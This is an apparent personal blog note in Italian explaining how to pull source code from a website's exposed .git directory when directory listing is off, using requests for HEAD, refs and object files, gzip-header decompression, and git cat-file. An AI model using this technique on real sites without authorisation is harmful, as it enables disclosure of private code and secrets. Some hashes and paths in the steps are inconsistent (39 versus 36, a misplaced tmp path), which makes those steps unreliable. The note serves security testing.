Web

Exploiting .git

Non è molto frequente ma potrebbe capitare che in qualche applicazione web sia esposta la directory .git. Nell’articolo che segue mi sono appuntato la procedura da seguire quando la cartella .git è esposta ma il directory listing è disabilitato.

La prima cosa da fare è quella di provare a vedere se il file .git/HEAD è visibile.

Il file potrebbe “puntare” ad un altro path come ad esempio quello che segue:

ref: refs/heads/master

L’head del repository si trova proprio in quel path, visitando http://sitoweb.com/.git/refs/heads/master potrebbe essere visibile un hash tipo:

39cd476513dd9ca98c1f74f29ef2eaf57ec1cad9

Che ci porta al path dei Git objects in cui sono presenti sottocartelle degli oggetti git il cui nome è di due caratteri. Il nome della sottocartella, in questo caso, è identificata dai primi due caratteri dell’ hash trovato. L’oggetto Git sarà quindi raggiungibile all’indirizzo:

http://sitoweb.com/.git/objects/39/cd476513dd9ca98c1f74f29ef2eaf57ec1cad9

E’ possibile scaricare il file e decomprimerlo come segue:

printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" |cat - cd476513dd9ca98c1f74f29ef2eaf57ec1cad9 |gzip -cd -q

In questo modo si ottiene l’hash di un altro git object, vale la pena tentare di scaricarlo

http://sitoweb.com/.git/objects/58/ace0476093d04023f84d7816adacfa7b879c43

Alla stessa maniera, è possibile decomprimere il file e vedere il contenuto leggibile con strings.

printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" |cat - ace0476093d04023f84d7816adacfa7b879c43 |gzip -cd -q |strings -a

Se non si ottengono nuovi hashes con strings, per scaricare i file elencati è possibile utilizzare un workaround creando un git temporaneo:

mkdir tmp; cd tmp; git init

A questo punto occorre spostare i file scaricati in precedenza all’interno della directory objects:

cp ace0476093d04023f84d7816adacfa7b879c43 ./tmp/.git/objects/58

cp cd476513dd9ca98c1f74f29ef2eaf57ec1cad9 ./tmp/.git/objects/36

Poi sarà possibile leggerne il contenuto come segue:

git cat-file -p 58ace0476093d04023f84d7816adacfa7b879c43

git cat-file -p 36cd476513dd9ca98c1f74f29ef2eaf57ec1cad9

In questo modo potrebbe essere visibile il codice, l’hash di altri file da poter scaricare etc.

Ripetere le operazioni finché non si trova qualcosa di interessante!!